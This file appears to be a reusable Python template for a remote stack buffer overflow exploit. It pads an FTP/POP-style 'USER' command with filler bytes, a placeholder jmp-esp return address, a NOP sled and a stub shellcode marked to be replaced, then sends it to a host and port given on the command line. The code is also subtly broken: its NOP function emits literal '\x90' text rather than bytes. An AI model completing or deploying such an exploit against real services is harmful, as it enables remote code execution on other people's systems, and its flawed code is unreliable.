#!/usr/bin/env python
# $Id: template_exploit.py,v 1.0 2018/07/08 00:41:03 dhn Exp $

import struct
import socket
import argparse

# TODO: Change me!
shellcode = (
    "\xeb\x03"                      # jmp    0x401005
    "\x5f"                          # pop    edi
    "\xeb\x55"                      # jmp    0x40105a
    "\xe8\xf8\xff\xff\xff"          # call   0x401002
)

def p(x):
	return struct.pack("<L", x)

def nops(size=1024):
	return "\\x90" * size

def run(opt):
	padding = "A" * 666
	jmp_esp = p(0xdeadbeef)

	# PAYLOAD
	payload = padding
	payload += jmp_esp
	payload += nops(1337)
	payload += shellcode

	# REQUEST
	request = "USER " + payload + "\r\n"

	print("[+] Sending the payload to %s:%s" % (opt.host, opt.port))
	expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	expl.connect((opt.host, int(opt.port)))
	expl.send(request)
	expl.recv(1024)
	expl.close()

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("--host", help="Target hostname or ip", required=True)
	parser.add_argument("--port", help="Target port", required=True)
	args = parser.parse_args()

	run(args)
